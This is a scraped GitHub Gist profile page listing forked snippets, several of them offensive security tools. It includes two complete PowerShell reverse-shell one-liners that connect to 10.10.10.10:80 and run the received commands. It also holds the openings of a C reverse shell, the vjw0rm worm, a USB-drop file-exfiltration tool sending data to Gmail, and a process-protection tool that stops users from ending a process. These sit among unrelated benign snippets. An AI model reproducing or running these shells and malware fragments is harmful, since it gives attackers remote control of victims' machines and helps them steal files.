Skip to content

Instantly share code, notes, and snippets.

View AhmedSakrr's full-sized avatar
💻
Assembly | C/C++ | PHP | Python | JavaScript | Solidity Programmer.

Ahmed Sakr AhmedSakrr

💻
Assembly | C/C++ | PHP | Python | JavaScript | Solidity Programmer.
View GitHub Profile
@AhmedSakrr
AhmedSakrr / powershell_reverse_shell.ps1
Created May 18, 2023 17:54 — forked from cnibbler/powershell_reverse_shell.ps1
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ('. {' + $data + '} *>&1') | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
@AhmedSakrr
AhmedSakrr / powershell_reverse_shell.ps1
Created May 18, 2023 16:28 — forked from egre55/powershell_reverse_shell.ps1
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
<?xml version="1.0" encoding="utf-8"?>
<package>
<component
id="dummy">
<registration
description="dummy"
progid="dummy"
version="1.00"
remotable="True">
<script
@AhmedSakrr
AhmedSakrr / FishSticks.ps1
Created May 6, 2023 10:52 — forked from xillwillx/FishSticks.ps1
Generate nefarious powershell wrapped in .wsf for USB-Drop Attacks. Will harvest all files with specified extensions from specified folders and send them to specified Gmail account.
<#
.Synopsis
____ _ _ ___ _ _ _
| __(_)__| |_ / __| |_(_)__| |__ ___
| _|| (_-< ' \\__ \ _| / _| / /(_-<
|_| |_/__/_||_|___/\__|_\__|_\_\/__/.v1
"Life is like a box of FishSticks, you never know what you're gonna get..."
Benjamin Buford "Bubba" Blue - 1965.
@AhmedSakrr
AhmedSakrr / reverse_shell.c
Created April 23, 2023 11:54 — forked from 0xabe-io/reverse_shell.c
Simple C code to create a reverse shell
/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define REMOTE_ADDR "XXX.XXX.XXX.XXX"
#define REMOTE_PORT XXX
@AhmedSakrr
AhmedSakrr / ABOUT.md
Last active April 22, 2023 20:27 — forked from laobubu/ABOUT.md
A very simple HTTP server in C, for Unix, using fork()

Pico HTTP Server in C

This is a very simple HTTP server for Unix, using fork(). It's very easy to use

How to use

  1. include header httpd.h
  2. write your route method, handling requests.
  3. call serve_forever("12913") to start serving on port 12913
@AhmedSakrr
AhmedSakrr / ProcessArmor.cs
Created April 9, 2023 20:57 — forked from rhmoult/ProcessArmor.cs
Process Armor - Prevent users from killing your service or process
using System;
using System.Diagnostics;
using System.Reflection;
using System.ComponentModel;
using System.Security.AccessControl;
using System.Security.Principal;
using System.Runtime.InteropServices;
using System.Configuration.Install;
@AhmedSakrr
AhmedSakrr / vjw0rm
Created April 2, 2023 20:22 — forked from drole/vjw0rm
vjw0rm
var j = [
'WScript.Shell',
'Scripting.FileSystemObject',
'Shell.Application',
'Microsoft.XMLHTTP'
];
var g = [
'HKCU',
'HKLM',
@AhmedSakrr
AhmedSakrr / FlashLoanReceiverBase.sol
Created June 14, 2022 11:07 — forked from DappaDanDev/FlashLoanReceiverBase.sol
Creating a Flash Loan using Aave
pragma solidity ^0.6.6;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/docs-v3.x/contracts/math/SafeMath.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/docs-v3.x/contracts/token/ERC20/IERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/docs-v3.x/contracts/token/ERC20/SafeERC20.sol";
import "./IFlashLoanReceiver.sol";
import "./ILendingPoolAddressesProvider.sol";
import "./Withdrawable.sol";
abstract contract FlashLoanReceiverBase is IFlashLoanReceiver, Withdrawable {
@AhmedSakrr
AhmedSakrr / uri.js
Created May 29, 2022 15:21 — forked from jlong/uri.js
URI Parsing with Javascript
var parser = document.createElement('a');
parser.href = "http://example.com:3000/pathname/?search=test#hash";
parser.protocol; // => "http:"
parser.hostname; // => "example.com"
parser.port; // => "3000"
parser.pathname; // => "/pathname/"
parser.search; // => "?search=test"
parser.hash; // => "#hash"
parser.host; // => "example.com:3000"